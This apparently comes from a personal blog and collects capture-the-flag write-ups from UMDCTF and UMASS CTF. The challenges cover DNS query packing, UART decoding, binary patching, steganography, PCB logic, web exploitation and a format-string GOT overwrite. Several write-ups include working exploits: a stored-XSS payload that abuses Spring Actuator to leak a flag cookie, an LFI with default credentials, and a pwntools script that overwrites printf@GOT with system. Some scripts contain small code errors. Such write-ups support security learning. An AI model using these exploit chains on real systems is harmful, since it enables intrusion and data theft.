Hello Navi

Tech, Security & Personal Notes

A mysterious DNS server is running on the inside. It holds a secret — but you'll need to be clever to extract it all.

Hint: Can you ask more than one question at a time?

DNS 基础

1. DNS 消息长什么样

DNS 消息在网络上是二进制数据,分五段:

1
2
3
4
5
6
7
8
9
10
11
+------------------------+
| Header (12 字节) | ← 消息头
+------------------------+
| Question (问题区) | ← 你问的是哪个域名
+------------------------+
| Answer (回答区) |
+------------------------+
| Authority (权威区) |
+------------------------+
| Additional (附加区) |
+------------------------+

Header 里最重要的四个字段是计数,告诉解析器每个区有多少条目:

1
2
3
4
QDCOUNT — 问题区有几个问题
ANCOUNT — 回答区有几个回答
NSCOUNT — 权威区有几个记录
ARCOUNT — 附加区有几个记录

一般情况下 QDCOUNT=1,每次只问一个问题。

2. 域名在消息里不是字符串

域名不是直接写 www.example.com。它按 . 拆成标签(labels),每个标签前加 1 字节长度:

1
2
3
www.example.com 编码为:
[3] 'w' 'w' 'w' [7] 'e' 'x' 'a' 'm' 'p' 'l' 'e' [3] 'c' 'o' 'm' [0]
↑3字节 ↑7字节 ↑3字节 ↑结束符

记这个编码方式,后面解压缩要用到。

3. DNS 名称压缩——核心机制

同一个域名后缀会在一个消息里反复出现(问题区一个、回答区可能好几个)。每次都完整编码很浪费空间。

解决方案:用 2 字节的指针代替重复标签。

指针怎么和标签区分?标签长度字节的高 2 位是标识位:

高 2 位 含义
00 普通标签(长度 0-63)
11 压缩指针

普通标签最长 63 字节,二进制 00111111,高两位永远 00。所以用 11 做指针标识不会混淆。

指针格式:

1
2
3
4
 1  1 | 14-bit OFFSET
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| 1 1| OFFSET |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+

高 2 位 = 11 → 第一字节 ≥ 192 (0xC0) 低 14 位 = 从消息开头算起的偏移量

举例0xC0 0x0C - 0xC0 = 11000000 → 是指针 - 低 14 位 = 12 → 指向消息偏移 12 的位置

域名可以部分用标签、部分用指针拼接

FOO.example.com 如果 .example.com 已经在前面出现过:

1
2
[3] 'F' 'O' 'O'  +  [指针指向.example.com的位置]
↑新标签 ↑复用的是后面的所有标签

甚至可以整个域名只用一个指针指向之前出现过的相同域名。

4. 一个消息可以问多个问题吗?

可以。QDCOUNT 字段可以大于 1。

不过传统 DNS 服务器通常不支持(RFC 9619 甚至禁止了),但自定义 DNS 服务器可以自己处理。这题的服务端就支持。

5. TCP 也能跑 DNS

常规 DNS 用 UDP 端口 53,但 TCP 也行。

UDP TCP
消息前缀 2 字节长度(大端)+ 消息体
大小限制 512 字节传统上限 无实际限制
使用场景 普通查询 大响应、zone transfer

TCP 传输时:先发 2 字节告诉我们接下来有多少字节的 DNS 消息,再发消息体。


Challenge Overview

题目给了一个自定义 DNS 服务器(监听 TCP),每次连接生成一个 819 字符的随机 secret

服务器接受两种 TXT 记录查询:

  1. 单字符查询:查 <N>.inside.info(N 是 0~818)→ 返回第 N 位的字符
  2. 完整 secret 查询:查 完整secret(用点分63字符块).inside.info → 返回 flag

限制:每个连接只能发 2 次 DNS 查询,新连接生成全新 secret。

分析

要拿到 819 个字符,但只许问 2 次。意味着第一次查询要一次性提取全部字符

每次查一个(0.inside.info → 拿字符 0,1.inside.info → 拿字符 1...)如果每个都单独发一次查询,需要 819 次,显然不行。

思路

利用 QDCOUNT > 1,把 819 个问题全塞进一个 DNS 消息:

1
2
3
4
5
一条消息里:
Question 0: 0.inside.info → TXT
Question 1: 1.inside.info → TXT
...
Question 818: 818.inside.info → TXT

服务端收到 QDCOUNT=819,逐个回答,一次返回 819 个字符。

如果不压缩,每个 question: - 0.inside.info 的域名编码 ≈ 16 字节 - QTYPE(2) + QCLASS(2) = 4 字节 - 共 ≈ 20 字节

819 × 20 = 16,380 字节 → 太大了。

819 个 question 共享同一个后缀 .inside.info

.inside.info 的完整标签编码放在消息末尾,每个 question 用2 字节指针指向它:

1
2
3
4
5
6
7
未压缩的 0.inside.info:
[1] '0' [6] 'i' 'n' 's' 'i' 'd' 'e' [4] 'i' 'n' 'f' 'o' [0]
↑每次都重复这堆

压缩后的 0.inside.info:
[1] '0' + [2字节指针 → .inside.info] + [QTYPE][QCLASS]
↑只编数字 ↑指向消息末尾的共享后缀 ↑4字节

每个 question 从 ~20 字节压缩到 ~7 字节

819 × 7 ≈ 5,700 字节,TCP 消息完全装得下。

攻击流程

Query 1 — 塞入 819 个压缩 question:

1
2
3
4
5
6
Header: QDCOUNT=819
Question 0: [1]'0' + [指针→.inside.info] + TXT/IN
Question 1: [1]'1' + [指针→.inside.info] + TXT/IN
...
Question 818: [3]'818' + [指针→.inside.info] + TXT/IN
[消息末尾]: 完整的 .inside.info 标签编码 ← 指针指向这里

服务器回复 819 条 TXT 记录,每条一个字符。拼接出完整 secret。

Query 2 — 查 完整secret.inside.info → 拿到 flag。

Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
import struct
import socket

def build_compressed_question(num_bytes, suffix_offset):
"""构造一个压缩 question: [数字标签] + [2字节指针→后缀] + [QTYPE][QCLASS]"""
buf = bytes([len(num_bytes)]) + num_bytes # 标签:长度 + 内容
buf += struct.pack('!H', 0xC000 | suffix_offset) # 指针:指向共享后缀
buf += struct.pack('!HH', 16, 1) # QTYPE=TXT, QCLASS=IN
return buf

def read_dns_name(data, pos):
"""跳过 DNS 域名(可能含压缩指针),返回下一个字段的起始位置"""
while pos < len(data):
b = data[pos]
if b == 0: # 结束符
return pos + 1
if (b & 0xC0) == 0xC0: # 压缩指针,占 2 字节
return pos + 2
pos += 1 + b # 普通标签:1字节长度 + N字节内容
return pos

# --- Query 1: 提取全部 819 个字符 ---

# 先构建所有 question(用占位偏移 0)
questions_placeholder = b''
for i in range(819):
num = str(i).encode()
questions_placeholder += build_compressed_question(num, 0)

# 计算共享后缀 .inside.info 的偏移位置(在 question 区之后)
suffix_offset = 12 + len(questions_placeholder)
suffix_encoding = b'\x06inside\x04info\x00'

# 用真实偏移重新构建 question
questions = b''
for i in range(819):
num = str(i).encode()
questions += build_compressed_question(num, suffix_offset)

# 把后缀编码追加到末尾
questions += suffix_encoding

# 组装 DNS 消息
dns_header = struct.pack('!HHHHHH', 0x1337, 0x0100, 819, 0, 0, 0)
packet = dns_header + questions

# TCP 发送(2 字节长度前缀)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('challenge.umdctf.io', 31337))
sock.send(struct.pack('!H', len(packet)) + packet)

# TCP 接收(先读 2 字节长度,再读取消息体)
resp_len = struct.unpack('!H', sock.recv(2))[0]
resp = b''
while len(resp) < resp_len:
chunk = sock.recv(resp_len - len(resp))
if not chunk:
break
resp += chunk

# 从响应中解析 819 个 TXT 记录,提取每个字符
pos = 12 # 跳过 DNS header
# 跳过 question 区(服务端在响应里回显了所有 question)
for _ in range(819):
pos = read_dns_name(resp, pos)
pos += 4 # QTYPE + QCLASS

# 解析 answer 区
secret_chars = []
for _ in range(819):
pos = read_dns_name(resp, pos) # NAME
rtype, rclass, ttl, rdlen = struct.unpack('!HHIH', resp[pos:pos+10])
pos += 10
if rtype == 16: # TXT 记录
txt_len = resp[pos] # TXT 的第一个字节是字符串长度
char = resp[pos+1:pos+1+txt_len].decode()
secret_chars.append(char)
pos += rdlen

secret = ''.join(secret_chars)

# --- Query 2: 拿 flag ---
# secret 分成 63 字符的块(DNS 标签长度上限)
chunks = [secret[i:i+63] for i in range(0, len(secret), 63)]
full_name = '.'.join(chunks) + '.inside.info'

# 编码完整域名 + question
qname = b''
for part in full_name.split('.'):
qname += bytes([len(part)]) + part.encode()
qname += b'\x00'
flag_question = qname + struct.pack('!HH', 16, 1)
flag_header = struct.pack('!HHHHHH', 0x1338, 0x0100, 1, 0, 0, 0)
flag_packet = flag_header + flag_question

sock.send(struct.pack('!H', len(flag_packet)) + flag_packet)
# 解析 flag... (与上面类似的 TXT 解析逻辑)
sock.close()

关键点总结

概念 在这道题里的作用
QDCOUNT > 1 一个消息塞 819 个问题,一次拿到全部字符
名称压缩(指针) 每个 question 共享 .inside.info 后缀,大小从 20 字节降到 7 字节
TCP 传输 消息太大放不进 UDP,用 TCP 的 2 字节长度前缀可靠传输
TXT 记录 服务器用 TXT 返回单字符,1 字节长度前缀 + 1 字节字符

Flag

UMDCTF{5Ur31Y_N0_0N3_W111_N071C3_MY_1N51D3r_7r4D1N6}

我们从建筑大师工作室截获了一个信号。看起来有人在和一个定制的乐高控制器通信,但我们捕捉到的只有这些原始数据。你能拼凑出信息吗?

Hint 1 This kind of communication is widely used, especially for older I/O devices and connectors. 这种通信方式应用广泛,尤其适用于老式 I/O 设备和连接器。

Hint 2 Every message starts with a falling edge. Have you tried PulseView? 每条信息都以下降沿开始。您试过 PulseView 吗?

Hint 3 UART, 8N1. You just need to figure out the baud rate. UART,8N1。你只需计算出波特率。

Initial Analysis

This challenge involves decoding a UART signal captured as raw logic levels in a CSV file. The provided code.csv contains two columns: timestamp and logic_level.

  • Initial Inspection: The logic level is mostly 1 (Idle high), which is characteristic of UART.
  • Pulse Width Analysis: By calculating the time between transitions, we find that the minimum pulse duration is approximately 2.996e-05 seconds.
  • Baud Rate Calculation: \[\text{Baud Rate} = \frac{1}{\text{Bit Duration}} \approx \frac{1}{2.996 \times 10^{-5}} \approx 33377 \text{ baud}\] However, looking at the sample counts, the transitions align perfectly with the sample intervals, suggesting the data was sampled exactly at the bit rate (1 sample per bit).

Solution

Based on Hint 3 (UART, 8N1): - Start Bit: A falling edge (1 to 0). - Data Bits: 8 bits following the start bit (Least Significant Bit first). - Stop Bit: 1 bit of high level (1).

By implementing a Python script to parse these transitions, we can extract the byte stream:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import pandas as pd

df = pd.read_csv('code.csv')
levels = df['logic_level'].values
i = 0
decoded = []

while i < len(levels):
if levels[i] == 1: # Wait for start bit
i += 1
continue

if i + 9 >= len(levels): break

# 8 data bits (LSB first)
byte_val = 0
for bit_idx in range(8):
if levels[i + 1 + bit_idx]:
byte_val |= (1 << bit_idx)
decoded.append(byte_val)
i += 10 # Move past start + 8 data + 1 stop bit

The decoded output reveals a Linux kernel boot log. Searching through the log, a specific line stands out: [ 0.037500] secretflag: 554d4153537b553452375f31355f3768335f623335372c5f72316768373f7d

Converting this Hex string to ASCII: 55 4d 41 53 53 7b 55 34 52 37 5f 31 35 5f 37 68 33 5f 62 33 35 37 2c 5f 72 31 67 68 37 3f 7d \(\rightarrow\) UMASS{U4R7_15_7h3_b357,_r1gh7?}

Flag

UMASS{U4R7_15_7h3_b357,_r1gh7?}

Batman's new state-of-the-art AI agent has deleted all of the source code to the Batcave license verification program! There's an old debug version lying around, but that thing has been hit by more cosmic rays than Superman!

蝙蝠侠的新型先进人工智能代理删除了蝙蝠洞许可证验证程序的所有源代码!虽然还有一个旧的调试版本,但那东西被宇宙射线击中的次数比超人还多!

Hint 1 BatAI estimates there are 3 bugs (BatAI 估计有 3 个错误)

Hint 2 Rotation rotation rotation! (旋转 旋转)

Hint 3 Something about that SBOX seems off... (SBOX 似乎有些不对劲...)

Initial Analysis

The "Batcave Bitflips" challenge involves a binary that performs a custom hashing algorithm on a user-provided license key and compares the result to a hardcoded 32-byte hash. If the hashes match, the binary uses the key to "decrypt" the flag. However, as the name and hints suggest, the binary is riddled with three "bit-flip" bugs that corrupt its logic.

1. Analysis of main

The main function (0x169f) follows a standard license check pattern: 1. Prompts for a 33-byte license key. 2. Calls hash(input, buffer) to generate a 256-bit (32-byte) digest. 3. Calls verify(buffer), which compares the digest to a global array named EXPECTED (at 0x4040). 4. If successful, calls decrypt_flag(buffer) and prints the FLAG global (at 0x4060).

2. Identifying the 3 Bugs

Bug 1: The Decryption Logic (decrypt_flag) The decrypt_flag function (0x12a6) is intended to decrypt the flag using the successful hash. Standard encryption/decryption uses XOR, but the decompiled code shows: - Code: FLAG[i] |= *(_BYTE *)(i % 32 + a1); - Disassembly (0x12ec): 09 c1 (OR ECX, EAX) The bit-flip changed an XOR (31 c1) into an OR (09 c1).

Bug 2: The Rotation Logic (rotate) In a standard 8-bit rotation, the sum of the left and right shifts must be 8. - Decompilation: *result = (*result >> 6) | (8 * *result); - Analysis: 8 * *result is equivalent to *result << 3. A shift of 3 combined with a shift of 6 is not a valid rotation. - The Flip: The SIB byte in the lea instruction at 0x1275 is 0xc5 (Scale 8). If the bit-flip occurred here, changing 0xc5 to 0x85 (Scale 4), the instruction becomes x << 2. Combined with shr 6, this forms a proper 2-bit rotation.

Bug 3: The SBOX Data (SBOX) The substitute function uses a global SBOX table (0x4080). Analysis reveals: - Duplicate: The value 0x43 appears at both index 24 and index 92. - Missing: The value 0x44 is entirely missing from the table. This single-bit difference (0x43 vs 0x44) in the data segment is the third bug.

Solution

While we could patch the binary to fix the bugs and attempt to reverse the custom hash, there is a much faster path. The main function logic implies that if we provide the "correct" license key, the resulting hash will be equal to the EXPECTED bytes. Since the decrypt_flag function (if fixed) would simply XOR the FLAG bytes with the successful hash, we can perform this operation manually.

Target Hash (EXPECTED @ 0x4040): 3b 54 75 1a 24 06 af 05 77 80 47 c5 e4 83 d3 48 cb 87 30 de 1a 91 45 ab 15 c7 9b 22 04 02 2b ee

Encrypted Flag (FLAG @ 0x4060): 6e 19 34 49 77 7d f0 5a 07 b4 33 a6 8c e6 e6 17 fb e9 6f ae 2e e5 26 c3 70 e3 c4 7d 27 7f 2b 00

1
2
3
4
expected = [0x3b, 0x54, 0x75, 0x1a, 0x24, 0x06, 0xaf, 0x05, 0x77, 0x80, 0x47, 0xc5, 0xe4, 0x83, 0xd3, 0x48, 0xcb, 0x87, 0x30, 0xde, 0x1a, 0x91, 0x45, 0xab, 0x15, 0xc7, 0x9b, 0x22, 0x04, 0x02, 0x2b, 0xee]
flag_enc = [0x6e, 0x19, 0x34, 0x49, 0x77, 0x7d, 0xf0, 0x5a, 0x07, 0xb4, 0x33, 0xa6, 0x8c, 0xe6, 0xe6, 0x17, 0xfb, 0xe9, 0x6f, 0xae, 2e e5, 0x26, 0xc3, 0x70, 0xe3, 0xc4, 0x7d, 0x27, 0x7f, 0x2b, 0x00]

print("".join(chr(e ^ f) for e, f in zip(expected, flag_enc)))

Flag

UMASS{p4tche5_0n_p4tche$#}

where are your little ninja-nerds?

Initial Analysis

The challenge provided a single image file: challenge.png. Initial investigation focused on gathering basic information about the file and its metadata.

  • File Type: Standard PNG image (640x360).
  • Metadata: exiftool showed no unusual comments or hidden fields.
  • Strings: Running strings did not reveal the flag in plain text, suggesting it was encoded or hidden within the pixel data.
  • Embedded Files: binwalk did not detect any appended files (like zips or other images).

Given that the file appeared to be a clean PNG with no obvious trailing data or metadata tricks, I suspected LSB (Least Significant Bit) Steganography. This technique hides data by slightly modifying the last bit of color values (Red, Green, or Blue), which is invisible to the human eye.

Solution

To extract the hidden data, we can either use automated tools or a custom script to parse the LSBs from each color plane.

1. Automated Approach

Using zsteg, we can quickly scan for common LSB patterns:

1
zsteg -E "b1,b,lsb,xy" challenge.png | strings | grep "UMASS{"

2. Manual Extraction Script

Alternatively, using the Pillow library in Python allows for precise extraction from specific color channels.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import PIL.Image

def extract_lsb(image_path):
img = PIL.Image.open(image_path)
pixels = img.load()
width, height = img.size

# Check Red (0), Green (1), and Blue (2) planes
for plane in range(3):
lsb_data = bytearray()
current_byte = 0
bit_count = 0
for y in range(height):
for x in range(width):
pixel = pixels[x, y]
bit = pixel[plane] & 1 # Extract LSB
current_byte = (current_byte << 1) | bit
bit_count += 1
if bit_count == 8:
lsb_data.append(current_byte)
current_byte = 0
bit_count = 0

if b"UMASS{" in lsb_data:
print(f"Found flag in Plane {plane}!")
# Logic to print the found string...

Running the extraction against the color planes reveals that the flag is hidden in the Blue channel (Plane 2).

Flag

UMASS{perfectly-hidden-ready-to-strike}

I managed to get my hands on a design files from LEGO HQ. Apparently it is the design for the new Smart Brick v2. I want to analyze it but I don't have the hardware to do so. Can you help me figure out what it does?? 我设法从乐高总部拿到了一份设计文件。我想对它进行分析,但我没有分析所需的硬件。你能帮我弄明白它是做什么的吗?

Hint 1: I think I have seen that file format before on an popular open-source eCAD software but I can't remember which one... (我好像在一款流行的开源 eCAD 软件上见过这种文件格式,但记不清是哪一款了) Hint 2: Hmmm... there seem to be 7 inputs, I wonder what encoding uses only 7 bits? (嗯......似乎有 7 个输入,我想知道什么编码只使用 7 位?) Hint 3: I found a great python library to interact with this file programmatically: kiutils (我发现了一个很棒的 Python 库,可以通过编程与该文件交互:kiutils)

Initial Analysis

The challenge provides a KiCad PCB design file (smart-brick-v2.kicad_pcb) and asks to analyze it to discover its function. Hints suggest that the board uses a 7-bit encoding (ASCII) and points toward the kiutils Python library for programmatic analysis.

Opening the file or inspecting the raw text reveals it is a KiCad 9.0 board file. Key features identified:

  • Inputs: 7 nets labeled /IN0 through /IN6. This confirms the hint about 7-bit encoding (ASCII).
  • Outputs: 19 LEDs (D1D19) driven by 19 MOSFETs (Q1Q19).
  • Logic: A large array of 74LS series discrete logic gates (AND, NAND, OR, NOR, XOR, NOT).

The circuit is a combinational logic "decoder" where each LED represents a character in the flag. An LED will light up if the 7-bit input matches a specific character programmed into the logic gates for that stage.

Solution

To solve this without physical hardware or a manual schematic trace, we can automate the logic extraction and simulation using Python.

1. Technical Approach

Step 1: Parsing the PCB Using the kiutils library, we extract all footprints, their values (e.g., 74LS00), and the nets connected to their pins.

Step 2: Mapping Logic Gates Each 74LS chip contains multiple gates. For example: - 74LS00: Quad 2-input NAND. - 74LS08: Quad 2-input AND. - 74LS86: Quad 2-input XOR. - 74LS21: Dual 4-input AND.

We build a dependency graph where each net's value is determined by the boolean operation of its input nets.

Step 3: Simulation Since there are only 128 possible values for a 7-bit input (ASCII 0–127), we can brute-force the inputs for each of the 19 output stages. For each character c from 0 to 127, we propagate the values through the logic gate graph and check which MOSFET gates (Q1Q19) are pulled HIGH.

2. Execution

The simulation reveals that each LED corresponds to exactly one ASCII character:

LED Hex Char LED Hex Char
D1 0x55 U D11 0x68 h
D2 0x4D M D12 0x33 3
D3 0x41 A D13 0x5F _
D4 0x53 S D14 0x47 G
D5 0x53 S D15 0x34 4
D6 0x7B { D16 0x74 t
D7 0x49 I D17 0x33 3
D8 0x6E n D18 0x73 s
D9 0x5F _ D19 0x7D }
D10 0x54 T

3. Simulation Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
import re
from kiutils.board import Board

def get_logic():
board = Board.from_file('smart-brick-v2.kicad_pcb')

# Map components by reference
components = {}
for fp in board.footprints:
ref = fp.properties.get('Reference', '')
val = fp.properties.get('Value', '')

pins = {}
for pad in fp.pads:
if pad.net:
pins[pad.number] = pad.net.name

components[ref] = {
'value': val,
'pins': pins
}

# Define gate logic
# (inputs, output)
gate_defs = {
'74LS00': [(('1', '2'), '3'), (('4', '5'), '6'), (('9', '10'), '8'), (('12', '13'), '11')], # NAND
'74LS02': [(('2', '3'), '1'), (('5', '6'), '4'), (('8', '9'), '10'), (('11', '12'), '13')], # NOR
'74LS04': [(('1',), '2'), (('3',), '4'), (('5',), '6'), (('9',), '8'), (('11',), '10'), (('13',), '12')], # NOT
'74LS08': [(('1', '2'), '3'), (('4', '5'), '6'), (('9', '10'), '8'), (('12', '13'), '11')], # AND
'74LS20': [(('1', '2', '4', '5'), '6'), (('9', '10', '12', '13'), '8')], # NAND 4
'74LS21': [(('1', '2', '4', '5'), '6'), (('9', '10', '12', '13'), '8')], # AND 4
'74LS27': [(('1', '2', '13'), '12'), (('3', '4', '5'), '6'), (('9', '10', '11'), '8')], # NOR 3
'74LS32': [(('1', '2'), '3'), (('4', '5'), '6'), (('9', '10'), '8'), (('12', '13'), '11')], # OR
'74LS86': [(('1', '2'), '3'), (('4', '5'), '6'), (('9', '10'), '8'), (('12', '13'), '11')], # XOR
}

# Build the net dependency graph
net_logic = {}

for ref, comp in components.items():
val = comp['value']
if val in gate_defs:
for inputs, output in gate_defs[val]:
if output in comp['pins']:
out_net = comp['pins'][output]
in_nets = [comp['pins'][i] for i in inputs if i in comp['pins']]
if len(in_nets) == len(inputs):
op = val[4:] # 00, 02, etc.
net_logic[out_net] = (op, in_nets)

# MOSFET gates driving LEDs
led_nets = []
for i in range(1, 20):
ref = f'Q{i}'
if ref in components:
if '1' in components[ref]['pins']:
led_nets.append(components[ref]['pins']['1'])

# Simulation function
def simulate(inputs_bits):
vals = {f'/IN{i}': inputs_bits[i] for i in range(7)}
vals['GND'] = False
vals['+5V'] = True

memo = {}
def get_val(net):
if net in vals: return vals[net]
if net in memo: return memo[net]
if net not in net_logic: return False

op, ins = net_logic[net]
in_vals = [get_val(i) for i in ins]

if op == '00': return not (in_vals[0] and in_vals[1])
elif op == '02': return not (in_vals[0] or in_vals[1])
elif op == '04': return not in_vals[0]
elif op == '08': return in_vals[0] and in_vals[1]
elif op == '20': return not all(in_vals)
elif op == '21': return all(in_vals)
elif op == '27': return not any(in_vals)
elif op == '32': return any(in_vals)
elif op == '86': return in_vals[0] ^ in_vals[1]
else: return False

memo[net] = res
return res

return [get_val(ln) for ln in led_nets]

# Brute force 7-bit ASCII
for i in range(19):
print(f"LED {i+1}: ", end='')
for code in range(128):
bits = [(code >> j) & 1 == 1 for j in range(7)]
outputs = simulate(bits)
if outputs[i]:
print(f"'{chr(code)}' (0x{code:02x})", end=' ')
print()

get_logic()

Flag

UMASS{In_Th3_G4t3s}

The Block City Times is here to inform you!

Initial Analysis

"The Block City Times" is a complex web application built with Spring Boot, involving multiple internal services (editorial, report-runner) and a Puppeteer-based bot. The challenge requires chaining several vulnerabilities to leak a sensitive FLAG cookie from an internal diagnostic service.

Solution

The attack follows a multi-stage exploit chain:

  1. Arbitrary File Upload & XSS: The /submit endpoint allows uploading "story" files. Although it checks the Content-Type, this is easily bypassed. Files are saved with their original extension and served via /files/{filename}. By uploading an .html file with Content-Type: text/plain, we can achieve stored XSS.

  2. Administrative Bot Triggering: The editorial service automatically reviews every submission by visiting the uploaded file as an administrator. This allows our XSS payload to execute with administrative privileges.

  3. Actuator Abuse: The application exposes Spring Boot Actuator endpoints. Via XSS, the editorial bot can be forced to modify application properties at runtime:

    • Disable production enforcement: POST /actuator/env with app.enforce-production=false.
    • Switch to dev mode: POST /admin/switch?config=dev.
  4. SSRF & Cookie Leakage: The report-runner service logs in as an admin, sets a FLAG cookie, and visits a user-specified API endpoint. While it checks if the endpoint starts with /api/, this can be bypassed with path traversal (e.g., /api/../files/exploit.html).

Exploit Payload (exploit.html)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<script>
(async () => {
const sleep = (ms) => new Promise((r) => setTimeout(r, ms));
const filename = location.pathname.split("/").pop();

// STAGE 2: If visited by report-runner, leak the flag to article tags
if (document.cookie.includes("FLAG=")) {
await fetch("/api/tags/article/1", {
method: "PUT",
headers: { "Content-Type": "application/json" },
body: JSON.stringify([document.cookie]),
});
return;
}

// STAGE 1: If visited by editorial bot, reconfigure the app and trigger report
try {
await fetch("/actuator/env", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ name: "app.enforce-production", value: "false" }),
});
await fetch("/actuator/env", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ name: "app.active-config", value: "dev" }),
});
await fetch("/actuator/refresh", { method: "POST" });
await sleep(2000);

const adminPage = await (await fetch("/admin")).text();
const csrfToken = adminPage.match(/name="_csrf" value="([^"]+)"/)[1];

const params = new URLSearchParams();
params.append("_csrf", csrfToken);
params.append("endpoint", "/api/../files/" + filename);

await fetch("/admin/report", { method: "POST", body: params });
} catch (e) {}
})();
</script>

After uploading the exploit (bypassing the extension check by modifying the filename to .html in the multipart request), the editorial bot triggers the reconfiguration and the report-runner. The flag is then leaked to the tags of Article 1.

Flag

UMASS{A_mAn_h3s_f@l13N_1N_tH3_r1v3r}

This familiar brick castle is hiding something... can you break in and defeat the Koopa King?

这座熟悉的砖砌城堡隐藏着什么......您能闯进去打败库巴王吗?

Initial Analysis

The challenge presents a Bowser-themed web portal. A quick look at the page source reveals client-side JavaScript that sabotages any login attempt by replacing the input key with WEAK_NON_KOOPA_KNOCK on submission.

1
2
3
4
5
6
document.getElementById('key-form').onsubmit = function() {
const knockOnDoor = document.getElementById('key');
// It replaces whatever they typed with 'WEAK_NON_KOOPA_KNOCK'
knockOnDoor.value = "WEAK_NON_KOOPA_KNOCK";
return true;
};

This implies we need to interact with the server directly, bypassing the browser's UI logic.

Solution

  1. Reconnaissance: Checking the HTTP response headers with curl -v reveals a hidden message from Kamek: Server: BrOWSERS CASTLE (A note outside: "King Koopa, if you forget the key, check under_the_doormat! - Sincerely, your faithful servant, Kamek")

    The key appears to be under_the_doormat.

  2. Authentication Bypass: The challenge title and theme suggest the server expects a specific identity. Using the User-Agent Bowser and the discovered key, we can attempt a login:

    1
    2
    3
    curl -v -c cookies.txt -L http://browser-boss-fight.web.ctf.umasscybersec.org:32770/password-attempt \
    -A "Bowser" \
    -d "key=under_the_doormat"
    The -c cookies.txt flag saves the session cookie for subsequent requests.

  3. Defeating the Boss (Cookie Manipulation): Upon redirecting to /bowsers_castle.html, the page claims the "axe" has been removed to prevent defeat. Inspecting the cookies reveals a hasAxe=false value. To proceed, we must manually override this cookie to true:

    1
    2
    3
    curl -v -b cookies.txt -b "hasAxe=true" \
    -A "Bowser" \
    -L http://browser-boss-fight.web.ctf.umasscybersec.org:32770/bowsers_castle.html

  4. Victory: With the manipulated cookie, the server renders the victory page containing the flag.

Flag

UMASS{br0k3n_1n_2_b0wz3r5_c4st13}

I found this old portal for BrickWorks Co. They say their internal systems are secure, but I'm not so sure. Can you find the hidden admin dashboard and get the flag?

我发现了这个 BrickWorks 公司的旧门户网站。他们说他们的内部系统是安全的,但我不太确定。你能找到隐藏的管理仪表板并拿到旗帜吗?

Initial Analysis

The challenge provides a link to a web portal for BrickWorks Co. The goal is to find a hidden admin dashboard and retrieve the flag. Based on the hints, we should look for common files used to hide content from search engines and pay attention to URL parameters.

Solution

  1. Information Gathering: Checking robots.txt reveals several disallowed paths under /internal-docs/:

    1
    2
    3
    4
    User-agent: *
    Disallow: /internal-docs/assembly-guide.txt
    Disallow: /internal-docs/it-onboarding.txt
    Disallow: /internal-docs/q3-report.txt

  2. Vulnerability Discovery: Reading /internal-docs/it-onboarding.txt provides a crucial piece of information: > Staff can access any file using the ?file= parameter.

    This indicates a potential Local File Inclusion (LFI) or arbitrary file read vulnerability on the main page. The same document also mentions that credentials are stored in config.php.

  3. Exploitation: By using the ?file= parameter to read config.php (/?file=config.php), we find the location of the admin dashboard and a hint about credentials:

    1
    2
    3
    4
    // The admin dashboard is located at /dashboard-admin.php.
    // ...
    // WARNING: SYSTEM IS CURRENTLY USING DEFAULT FACTORY CREDENTIALS.
    define('ADMIN_USER', 'administrator');

  4. Accessing the Flag: Navigating to /dashboard-admin.php and logging in with the default credentials (administrator / administrator) grants access to the dashboard and reveals the flag.

Flag

UMASS{4lw4ys_ch4ng3_d3f4ult_cr3d3nt14ls}

Help design the office space for Brick City's new skyscraper! read flag.txt for design specifications.

nc brick-city-office-space.pwn.ctf.umasscybersec.org 45001

Enumeration

The challenge provides a 32-bit x86 Linux binary with the following protections:

  • RELRO: No RELRO (GOT is writable)
  • Stack Canary: No Canary
  • NX: Enabled
  • PIE: Disabled (Loads at 0x08048000)

Decompiling the vuln function reveals a clear Format String Vulnerability:

1
2
3
result = fgets(format, 592, stdin);
// ...
printf(format); // <--- Vulnerable call

The program allows multiple "redesigns," enabling us to trigger the vulnerability several times in a single session. By sending AAAA %p %p %p %p, we confirm the format string offset is 4.

Exploitation Strategy

Since the binary has No RELRO and PIE is disabled, we can perform a standard GOT overwrite:

  1. Leak Libc: Use the first printf to leak a libc address from the GOT (e.g., printf@GOT).
  2. Calculate Offsets: Determine the base address of libc and the absolute address of system.
  3. GOT Overwrite: Trigger the "redesign" loop and send a payload to overwrite printf@GOT with the address of system.
  4. Trigger Shell: Send the string cat flag.txt in the next iteration. printf(format) will execute system("cat flag.txt").

Solution

The following exploit uses pwntools to automate the process, carefully avoiding backticks (`) which the binary handles specially.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

elf = ELF('./BrickCityOfficeSpace')
libc = ELF('./libc.so.6')
p = remote('brick-city-office-space.pwn.ctf.umasscybersec.org', 45001)

offset = 4
printf_got = elf.got['printf']

# Step 1: Leak libc
payload = p32(printf_got) + b"|%4$s|"
p.sendlineafter(b"BrickCityOfficeSpace>", payload)
p.recvuntil(b"|")
leaked_printf = u32(p.recv(4))
libc.address = leaked_printf - libc.symbols['printf']

# Step 2: Overwrite GOT
p.sendlineafter(b"(y/n)", b"y")
# Avoid backticks (0x60) by adjusting the number of bytes written
payload = fmtstr_payload(offset, {printf_got: libc.symbols['system']}, numbwritten=1)
